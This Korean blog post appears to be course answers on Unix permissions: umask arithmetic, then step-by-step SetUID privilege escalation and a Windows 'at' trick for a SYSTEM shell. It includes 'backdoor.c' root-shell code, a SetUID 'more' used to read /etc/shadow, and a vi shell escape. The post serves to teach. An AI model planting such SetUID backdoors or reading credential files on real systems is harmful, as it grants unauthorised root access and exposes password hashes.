티스토리 뷰
1) umask 값에 의한 파일과 디렉토리 권한
설정 과정을 충분히 설명하세요.
umask란 파일이나 디렉토리가 생성될 때의
기본권한을 지정하는 값.
umask 명령어라는 명령어도 현재 설정되어 있는
umask값의 확인 및 변경이 가능하다.
#umask명령어에 의하여 변경된 umask값은
새로 로그인을 하면 초기화된다.
#umask 값에 의해 결정,
umask 값은 /etc/profile에서설정.
#개별 계정에 대해 설정시에는 /home 디렉터리 밑의
각 계정별로 .profile 파일에, bash 셸을 사용할
경우에는 .bashrc에, C 셸을 사용할 경우에는
.cshrc 파일에 설정
#페도라 14의 모든 계정은 /etc/bashrc 파일에
설정되어 있는 umask 값을 따름
umask를 이용한 파일과 디렉토리의 권한구하기
umask값이란 모든 계정사용자들에게 존재하는 값으로서
각 계정사용자들이 생성하는 파일 또는 디렉토리의
퍼미션을 결정하기 위한 MASK값이다.umask값에 의하여 생성된 파일과 디렉토리의 권한은 다음과 같다.
umask값 | 000 |
001 |
002 |
022 |
||
생성되는 파일 권한 |
666 |
666 |
664 |
644 |
||
생성되는 디렉토리 권한 |
777 |
776 |
775 |
755 |
>umask값 002에 대한 파일과 디렉토리의 권한값구하기
110 110 110 = 666 : 파일비교기본값
000 000 010 = 002 : umask
110 110 100 = 664 : 파일 퍼미션
111 111 111 = 777 : 디렉토리비교기본값
000 000 010 = 002 : umask
111 111 101 = 775 = 디렉토리 퍼미션
※ 입력된 값이 같으면 0, 입력된 값이 다르면 1을
출력한다.
2) SetUID 비트를 이용하여 관리자 권한
bash 쉘을 획득하는 과정을 설명하세요.
1. SetUID비트를 가진 셸의 생성
원본의 bash 셀을 /test 디렉터리에 복사하여 4755 권한
부여. bash 셸 프로그램은 프로세스가 살아 있는 동안은
파일의 소유자인 root 권한으로 실행.
cp /bin/bash /test/bash
chmod 4755 bash
2. 일반 사용자 계정으로 SetUID비트가 주어진 셸 실행
id
./bash
id
3. SetUID비트를 이용한 bash 셸 획득
backdoor.c
#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
# backdoor.c를 root 계정으로 컴파일 하여 4755
권한 부여
gcc -o backdoor backdoor.c
chmod 4755 backdoor
4. SetUID 비트가 할당된 more명령을 이용한 권한상승
# /etc/shadow는 관리자 소유의 파일,
일반 계정의 접근이 금지.
chmod 4755 /bin/more
id
more /etc/shadow
5. SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승
# 작성한 vibackdoor.c를 컴파일, SetUID 비트 부여
vibackdoor.c
#include <stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/vi");
}
gcc -o vibackdoor vibackdoor.c
chmod 4755 vibackdoor
# ESC를 누른 뒤, 콜론(:)을 누르면 에디터의 아래쪽에
키를 입력 가능
# 같이 콜론 뒤에 ! 문자를 붙인 뒤 실행할 프로그램을
적으면 실행
# /bin/bash를 실행
# 명령을 실행 vi 에디터 화면이 사라지고 갑자기 셸 화면
으로 전환
# 셸의 프롬프트도 # 모양으로 전환
# Exit를 입력 다시 vi 에디터로 전환
# 일반 사용자 계정의 셸-> 관리자 권한의 vi에디터 ->
관리자 권한의 셸의 과정을 거친것이다.
3) at 명령을 이용하여 윈도우 운영체제에서 SYSTEM 권한을 획득하는 과정을 설명하세요.
1. at을 통한 프로그램 등록
- at 명령을 실행. 현재 시간보다 2~3분 후
시간으로 작업등록
at 18:00 /interactive "cmd.exe"
2. System 권한 획득
- 정해둔 시간이 되면 자동으로 다음과 같은
명령 창 실행
- 명령 창 라벨 : C:\WINDOW\system32\svchost.exe
- svchost : 윈도우에서 SYSTEM 계정으로
실행되는 프로세스, at 명령으로 실행한
명령창이 SYSTEM 권한을 가져온 것
3. SYSTEM 권한의 확장
- 프로세스 죽이기 : Window 작업 관리자(Ctrl,Alt,Del)- >[프로세스] 탭 explorer.exe
- <프로세스 끝내기 > 버튼클릭
- explorer.exe 를 죽이면 시스템 화면이
사라짐, at명령으로 띄운 명령 창은 존재
- 해당 명령 창에서 explorer.exe 를 다시
실행